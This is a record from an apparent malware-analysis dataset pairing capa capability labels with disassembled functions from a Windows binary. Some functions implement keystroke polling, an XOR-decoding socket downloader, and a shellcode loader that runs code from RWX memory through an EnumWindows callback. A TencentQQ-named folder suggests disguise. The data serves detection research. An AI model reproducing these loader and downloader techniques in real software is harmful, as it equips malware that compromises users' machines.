joyce8/EMBER2024-capa huggingface dataset:
Function at 0x709fd8
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call edi
test ax, ax
jge 0x70a000
or dword [esi + 0x38], 1
or dword [esi + 0x34], 2
jmp 0x70a011
push 2
call edi
test ax, ax
jge 0x70a011
or dword [esi + 0x38], 2
or dword [esi + 0x34], 1
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
push dword [eax + 0x1c]
call dword [sym.imp.USER32.dll_SetCapture]
push eax
call fcn.006fe1cf
cmp dword [esi + 0x30], ebx
jne 0x70a0eb
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebx, 0x100
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call fcn.006fe1cf
cmp eax, dword [esp + 0x34]
jne 0x70a0eb
push 1
push 0x209
push 0x200
lea eax, [esp + 0x20]
push 0
push eax
call edi
test eax, eax
jne 0x70a087
push 1
push 0x108
push ebx
push eax
lea eax, [esp + 0x24]
push eax
call edi
test eax, eax
je 0x70a0cc
mov eax, dword [esp + 0x18]
cmp eax, 0x202
je 0x70a0eb
cmp eax, 0x205
je 0x70a0eb
cmp eax, 0x201
je 0x70a0eb
cmp eax, 0x204
je 0x70a0eb
cmp eax, ebx
jne 0x70a0b2
cmp dword [esp + 0x1c], 0x1b
je 0x70a0eb
push dword [esp + 0x2c]
lea eax, [esi + 0x20]
push dword [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x30], eax
call ebp
sub eax, dword [esp + 0x10]
cmp eax, dword [0xf1bf04]
jbe 0x70a0e1
mov dword [esi + 0x30], 1
cmp dword [esi + 0x30], 0
je 0x70a044
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [esi + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x44c584], 1
mov dword [0x44c580], 1
mov dword [0x44c57c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x44c00c], eax
mov eax, dword [0x44c590]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x44c5a4]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x44c58c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x4340d4], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x4016e0
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x1ac
mov dword [esp], 0
call sub.msvcrt.dll_time
mov dword [esp], eax
call sym._srand
lea eax, [esp + 0x10]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
test eax, eax
jne 0x401746
movzx eax, word [esp + 0x10]
cmp al, 2
jne 0x401740
shr ax, 8
cmp ax, 2
jne 0x401740
mov byte [0x44c03c], 1
mov eax, 1
add esp, 0x1ac
ret
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
add esp, 0x1ac
ret
Function at 0x401b70
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, ecx
push edi
push esi
xor esi, esi
push ebx
xor ebx, ebx
sub esp, 0x2c
mov byte [esp + 0x1f], 0
lea edi, [esp + 0x1f]
jmp 0x401b9a
movzx ebx, byte [esp + 0x1f]
cmp bl, 0xa
je 0x401bdf
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], edi
mov eax, dword [ebp + 0x24]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
test eax, eax
jle method.HttpManager.readLine_char__int___clone_.cold_
cmp esi, dword [esp + 0x44]
jge 0x401bda
movzx eax, byte [esp + 0x1f]
mov edx, dword [esp + 0x40]
mov byte [edx + esi], al
add esi, 1
cmp bl, 0xd
jne 0x401b90
mov ecx, dword [esp + 0x40]
lea eax, [esi - 2]
mov byte [ecx + esi - 2], 0
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 8

Function at 0x401e80
Capabilities:
Encode data using xor
Receive data
Receive data on socket

Disassembly:
push ebp
push edi
push esi
push ebx
mov ebx, ecx
sub esp, 0x2c
mov esi, dword [esp + 0x44]
mov edi, dword [esp + 0x40]
test esi, esi
jle 0x401f20
xor ebp, ebp
jmp 0x401ea6
add ebp, eax
cmp ebp, esi
jge 0x401ed9
mov eax, esi
mov dword [esp + 0xc], 0
sub eax, ebp
mov dword [esp + 8], eax
lea eax, [edi + ebp]
mov dword [esp + 4], eax
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
test eax, eax
jg 0x401ea0
jne method.SelfDefinedFileReader.readFully_char__int___clone_.cold_
cmp ebp, esi
jl 0x401ea6
mov ecx, dword [ebx + 4]
mov eax, edi
lea ebp, [edi + esi]
mov edx, ecx
mov dword [esp + 0x1c], ecx
sub edx, edi
mov edi, edx
lea esi, cs:[esi]
movzx edx, byte [eax]
lea ecx, [edi + eax]
xor dl, byte [ebx + 8]
add eax, 1
xor edx, ecx
mov byte [eax - 1], dl
cmp eax, ebp
jne 0x401ef0
mov ecx, dword [esp + 0x1c]
add ecx, esi
mov dword [ebx + 4], ecx
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 8
mov ecx, dword [ecx + 4]
mov dword [ebx + 4], ecx
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret 8
Function at 0x401fa0
Capabilities:
Delete file
Download and write a file
Encode data using xor
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push edi
mov eax, 0x205c
lea edi, [esp + 8]
and esp, 0xfffffff0
push dword [edi - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040fb70
sub esp, eax
mov eax, edi
mov edi, ecx
mov ebx, dword [eax]
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x2020]
mov ecx, edi
sub esp, 4
mov dword [esp], eax
mov dword [esp + 4], 4
call method.SelfDefinedFileReader.readFully_char__int_
sub esp, 8
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], pe_nt_image_headers32
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x40000000
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
mov dword [ebp - 0x203c], eax
mov eax, dword [ebp - 0x2020]
mov dword [ebp - 0x202c], eax
test eax, eax
jle 0x402178
mov dword [ebp - 0x2030], edi
lea esi, [esi]
mov dword [esp + 0xc], 0
mov esi, dword [ebp - 0x202c]
mov eax, 0x2000
cmp esi, eax
cmovbe eax, esi
mov dword [esp + 8], eax
lea eax, [ebp - 0x2018]
mov dword [esp + 4], eax
mov ebx, dword [ebp - 0x2030]
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
mov edx, eax
test eax, eax
jg 0x4020d0
je 0x402050
mov eax, dword [ebp - 0x203c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [esp], 4
call sym.___cxa_allocate_exception
mov dword [eax], 6
mov dword [esp + 8], 0
mov dword [esp + 4], 0x439054
mov dword [esp], eax
call sym.___cxa_throw
nop
mov edi, dword [ebx + 4]
lea eax, [ebp - 0x2018]
movzx ecx, byte [ebx + 8]
mov dword [ebp - 0x2034], eax
mov esi, eax
mov ebx, edi
sub bl, byte [ebp - 0x2034]
mov dword [ebp - 0x2034], edx
add esi, edx
mov dword [ebp - 0x2038], edi
mov edi, ebx
mov ebx, ecx
nop
movzx ecx, byte [eax]
lea edx, [edi + eax]
add eax, 1
xor ecx, ebx
xor edx, ecx
mov byte [eax - 1], dl
cmp eax, esi
jne 0x402100
mov edx, dword [ebp - 0x2034]
mov edi, dword [ebp - 0x2038]
lea eax, [edi + edx]
mov edi, dword [ebp - 0x2030]
mov dword [edi + 4], eax
lea eax, [ebp - 0x201c]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x2018]
mov dword [esp + 8], edx
mov dword [esp + 0x10], 0
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x203c]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0x2034]
sub esp, 0x14
sub dword [ebp - 0x202c], edx
mov eax, dword [ebp - 0x202c]
test eax, eax
jg 0x402050
mov edi, dword [ebp - 0x203c]
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
sub esp, 4
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
lea esp, [edi - 8]
pop edi
ret 4
Function at 0x4021b0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea eax, [ebp - 0x19]
push ebx
mov ebx, ecx
sub esp, 0x2c
mov edi, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 1
mov dword [esp + 4], eax
mov eax, dword [edi]
mov dword [esp], eax
call dword [sym.imp.WS2_32.dll_recv]
sub esp, 0x10
test eax, eax
js method.SelfDefinedFileReader.readName_abi:cxx11_____clone_.cold_
mov edx, dword [edi + 4]
movzx eax, byte [ebp - 0x19]
xor al, byte [edi + 8]
xor eax, edx
lea ecx, [edx + 1]
movzx esi, al
lea eax, [ebx + 8]
mov dword [edi + 4], ecx
mov ecx, ebx
mov dword [ebx], eax
mov dword [ebx + 4], 0
mov byte [ebx + 8], 0
mov dword [esp + 4], 0
mov dword [esp], esi
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.resize_unsigned_int__char_
sub esp, 8
mov ecx, edi
mov dword [esp + 4], esi
mov eax, dword [ebx]
mov dword [esp], eax
call method.SelfDefinedFileReader.readFully_char__int_
sub esp, 8
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret 4
Function at 0x402fc0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
xor ecx, ecx
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
sub esp, 0x3c
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x80000000
mov eax, dword [ebp + 8]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x1c
cmp eax, 0xffffffff
jne 0x403005
xor ebx, ebx
jmp 0x403067
xor ecx, ecx
mov dword [esp], eax
mov edi, eax
mov dword [esp + 4], ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push ebx
mov esi, eax
push ebx
mov dword [esp + 4], eax
xor eax, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
push edx
push edx
test eax, eax
je 0x403001
xor eax, eax
mov dword [esp + 8], esi
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov dword [esp + 4], ebx
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
mov dword [esp], edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
cmp dword [ebp + 0xc], 0
je 0x403067
mov eax, dword [ebp + 0xc]
mov dword [eax], esi
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x403071
Capabilities:
Allocate or change rwx memory
Encode data using xor
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], edi
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x550
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
sub esp, 0x10
lea edi, [eax + 0x10]
mov ecx, dword [edx*4 + 0x44c040]
mov esi, edx
and esi, 7
xor ecx, edx
xor ecx, dword [esi*4 + 0x4351a0]
mov esi, ecx
mov byte [eax + edx*4 + 0x12], ch
shr esi, 0x18
mov byte [eax + edx*4 + 0x13], cl
mov ebx, esi
mov esi, ecx
shr esi, 0x10
mov byte [eax + edx*4 + 0x10], bl
mov ebx, esi
mov byte [eax + edx*4 + 0x11], bl
inc edx
cmp edx, 0x148
jne 0x4030a5
xor esi, esi
mov edx, dword [ebp + 8]
lea ecx, [eax + 0x74]
mov dword [eax + 0x534], esi
mov dword [eax + 0x530], edx
mov edx, edi
cmp dword [edx], 0xaabbaacc
jne 0x403108
add eax, 0x530
mov dword [edx], eax
jmp 0x40310d
inc edx
cmp ecx, edx
jne 0x4030f7
xor eax, eax
mov dword [esp], edi
xor ebx, ebx
mov dword [esp + 4], eax
call dword [sym.imp.USER32.dll_EnumWindows]
xor ecx, ecx
push edx
push edx
mov dword [esp], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], 0x435180
mov dword [esp + 4], 0x435180
call dword [sym.imp.USER32.dll_MessageBoxA]
mov al, 1
sub esp, 0x10
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4031f0
Capabilities:
Encode data using xor

Disassembly:
push esi
push ebx
mov ecx, dword [esp + 0xc]
mov ebx, dword [esp + 0x10]
movzx esi, byte [ecx]
cmp ebx, 1
je 0x403222
sub ebx, 1
xor eax, eax
lea esi, cs:[esi]
nop
add eax, 1
mov edx, esi
xor dl, byte [ecx + eax]
xor edx, eax
mov byte [ecx + eax - 1], dl
cmp eax, ebx
jne 0x403210
pop ebx
pop esi
ret
Function at 0x4032d0
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x68c
lea esi, [esp + 0x20]
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
sub esp, 0xc
test eax, eax
je 0x403420
sub eax, 1
jns 0x40331b
jmp 0x40332c
cmp dx, 0x2f
je 0x403325
sub eax, 1
jb 0x40332c
movzx edx, word [esi + eax*2]
cmp dx, 0x5c
jne 0x403310
xor edx, edx
mov word [esp + eax*2 + 0x20], dx
lea ebx, [esp + 0x228]
mov dword [esp + 8], 0x104
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov eax, dword [sym.imp.KERNEL32.dll_lstrcatW]
sub esp, 0xc
mov dword [esp + 4], str..
mov dword [esp], ebx
mov dword [esp + 0x1c], eax
call eax
sub esp, 8
lea edi, [esp + 0x430]
mov dword [esp], ebx
mov dword [esp + 4], edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
sub esp, 8
mov ebp, eax
cmp eax, 0xffffffff
je 0x403420
lea ebx, [esp + 0x45c]
lea esi, [esi]
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
sub esp, 4
cmp eax, 3
jle 0x4033e3
lea edx, [ebx + eax*2 - 8]
mov eax, dword [0x4340a8]
mov dword [esp], edx
mov dword [esp + 4], eax
mov dword [esp + 0x18], edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
sub esp, 8
test eax, eax
je 0x403430
mov eax, dword [0x4340a4]
mov edx, dword [esp + 0x18]
mov dword [esp + 4], eax
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
sub esp, 8
test eax, eax
je 0x403490
mov dword [esp + 4], edi
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
sub esp, 8
test eax, eax
jne 0x403390
mov ecx, eax
mov dword [esp + 0x18], ecx
mov dword [esp], ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 4
mov ecx, dword [esp + 0x18]
add esp, 0x68c
pop ebx
pop esi
mov eax, ecx
pop edi
pop ebp
ret
add esp, 0x68c
xor ecx, ecx
pop ebx
mov eax, ecx
pop esi
pop edi
pop ebp
ret
mov ecx, 1
mov eax, dword [esp + 0x6a0]
mov dword [esp + 0x18], ecx
mov dword [esp + 4], esi
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
sub esp, 8
mov eax, dword [esp + 0x6a0]
mov edi, dword [esp + 0x1c]
mov dword [esp + 4], 0x4351ca
mov dword [esp], eax
call edi
sub esp, 8
mov eax, dword [esp + 0x6a0]
mov dword [esp + 4], ebx
mov dword [esp], eax
call edi
sub esp, 8
mov ecx, dword [esp + 0x18]
jmp 0x4033f9
mov ecx, 2
jmp 0x403435
Function at 0x4034a0
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x5c
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 4]
test eax, eax
jne 0x4034c0
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
je 0x4034e8
lea esp, [ebp - 0xc]
shr eax, 4
pop ebx
and eax, 1
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 2
mov ecx, ebx
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x4351ce
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.find_last_of_char_const__unsigned_int__unsigned_int__const
sub esp, 0xc
cmp eax, 0xffffffff
je 0x4035b0
mov ecx, dword [ebx + 4]
mov edx, dword [ebx]
lea edi, [ebp - 0x40]
lea esi, [ebp - 0x30]
mov dword [ebp - 0x48], edi
cmp eax, ecx
mov dword [esp], edx
cmova eax, ecx
lea ecx, [ebp - 0x48]
add eax, edx
mov dword [esp + 4], eax
call fcn.00403230
mov edx, dword [ebp - 0x48]
lea eax, [ebp - 0x28]
sub esp, 8
mov dword [ebp - 0x30], eax
test edx, edx
je sym.createDirectoriesRecursively_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const___clone_.cold_
mov dword [esp], edx
mov dword [ebp - 0x4c], edx
call sym._strlen
mov edx, dword [ebp - 0x4c]
mov ecx, esi
add eax, edx
mov dword [esp], edx
mov dword [esp + 4], eax
call fcn.00403230
sub esp, 8
mov dword [esp], esi
call sym.createDirectoriesRecursively_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov edx, dword [ebp - 0x30]
mov esi, eax
lea eax, [ebp - 0x28]
cmp edx, eax
je 0x403591
mov eax, dword [ebp - 0x28]
mov dword [esp], edx
add eax, 1
mov dword [esp + 4], eax
call sym.operator_delete_void__unsigned_int_
mov ecx, esi
mov eax, dword [ebp - 0x48]
test cl, cl
je 0x4035d8
cmp eax, edi
je 0x4035b0
mov edi, dword [ebp - 0x40]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call sym.operator_delete_void__unsigned_int_
mov dword [esp + 4], 0
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 8
test eax, eax
setne al
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
cmp eax, edi
je 0x4034b3
mov edi, dword [ebp - 0x40]
mov dword [esp], eax
lea edx, [edi + 1]
mov dword [esp + 4], edx
call sym.operator_delete_void__unsigned_int_
jmp 0x4034b3
Function at 0x403610
Capabilities:
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0x11c]
push ebx
sub esp, 0x14c
mov ebx, dword [ebp + 8]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edi
mov dword [esp], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x12c]
sub esp, 0x10
mov dword [ebp - 0x134], eax
mov dword [esp], edi
call sym._strlen
mov dword [esp], edi
lea ecx, [ebp - 0x134]
add eax, edi
mov dword [esp + 4], eax
call fcn.00403230
mov eax, 0x3fffffff
sub eax, dword [ebp - 0x130]
sub esp, 8
cmp eax, 0xa
jbe sym.getRunDir_abi:cxx11_____clone_.cold_
mov dword [esp + 4], 0xb
lea ecx, [ebp - 0x134]
mov dword [esp], str.TencentQQ
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___._M_append_char_const__unsigned_int_
lea edx, [ebx + 8]
sub esp, 8
mov dword [ebx], edx
mov edi, dword [eax]
mov dword [ebp - 0x13c], edx
lea edx, [eax + 8]
cmp edi, edx
je 0x403720
mov ecx, dword [eax + 8]
mov dword [ebx], edi
mov dword [ebx + 8], ecx
mov edi, dword [eax + 4]
mov dword [eax], edx
mov edx, dword [ebp - 0x134]
mov dword [ebx + 4], edi
mov dword [eax + 4], 0
mov byte [eax + 8], 0
lea eax, [ebp - 0x12c]
cmp edx, eax
je 0x4036f9
mov eax, dword [ebp - 0x12c]
mov dword [esp], edx
add eax, 1
mov dword [esp + 4], eax
call sym.operator_delete_void__unsigned_int_
mov dword [esp], ebx
call sym.createDirectoriesRecursively_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
mov eax, dword [ebx]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
sub esp, 4
lea esp, [ebp - 0xc]
mov eax, ebx
pop ebx
pop esi
pop edi
pop ebp
ret
mov ecx, dword [eax + 4]
mov edi, ecx
add ecx, 1
mov dword [ebp - 0x140], ecx
cmp ecx, 4
jae 0x403770
mov esi, ecx
test ecx, ecx
je 0x4036c4
movzx ecx, byte [eax + 8]
mov byte [ebx + 8], cl
mov ecx, esi
and ecx, 2
je 0x4036c1
mov esi, dword [ebp - 0x140]
mov ecx, dword [ebp - 0x13c]
movzx edi, word [edx + esi - 2]
mov word [ecx + esi - 2], di
mov edi, dword [eax + 4]
jmp 0x4036c4
mov edi, dword [eax + 8]
mov dword [ebx + 8], edi
mov ecx, dword [ebp - 0x140]
mov esi, dword [ebp - 0x13c]
mov edi, dword [edx + ecx - 4]
mov dword [esi + ecx - 4], edi
lea ecx, [ebx + 0xc]
mov edi, edx
and ecx, 0xfffffffc
sub esi, ecx
mov dword [ebp - 0x13c], ecx
sub edi, esi
mov ecx, esi
mov esi, edi
mov edi, dword [ebp - 0x140]
add edi, ecx
and edi, 0xfffffffc
cmp edi, 4
jb 0x4036c1
mov dword [ebp - 0x140], eax
and edi, 0xfffffffc
xor ecx, ecx
mov dword [ebp - 0x144], edx
mov edx, dword [ebp - 0x13c]
mov eax, dword [esi + ecx]
mov dword [edx + ecx], eax
add ecx, 4
cmp ecx, edi
jb 0x4037cb
mov eax, dword [ebp - 0x140]
mov edx, dword [ebp - 0x144]
mov edi, dword [eax + 4]
jmp 0x4036c4
Function at 0x40ee40
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x40eea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x44c598]
test esi, esi
jle 0x40efc0
mov eax, dword [0x44c59c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x40eed4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x40ef57
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x40eec0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x40efe7
mov eax, dword [0x44c59c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x44c59c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x40efc7
mov eax, dword [esp + 0x28]
lea edx, [eax - 4]
and edx, 0xfffffffb
je 0x40ef50
lea edx, [eax - 0x40]
and edx, 0xffffffbf
jne 0x40ef60
add dword [0x44c598], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x44c59c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x40ef50
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, cs:[esi]
nop
xor esi, esi
jmp 0x40eede
mov eax, dword [0x44c59c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, cs:[esi]
nop
Function at 0x40f510
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x44c5b4
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x44c5ac]
sub esp, 4
test ebx, ebx
je 0x40f565
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
mov esi, eax
sub esp, 4
call edi
test esi, esi
je 0x40f55e
test eax, eax
jne 0x40f55e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x40f540
mov dword [esp], 0x44c5b4
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x40f8a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x40f8c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x40f8d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x40f8c5
push esi
push ebx
mov ebx, dword [esp + 0xc]
movzx eax, word [ecx + 0x400014]
movzx esi, word [ecx + 0x400006]
sub ebx, 0x400000
lea eax, [edx + eax + 0x18]
test si, si
je 0x40f918
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40f90e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40f91a
add ecx, 1
add eax, 0x28
cmp esi, ecx
jne 0x40f900
xor eax, eax
pop ebx
pop esi
ret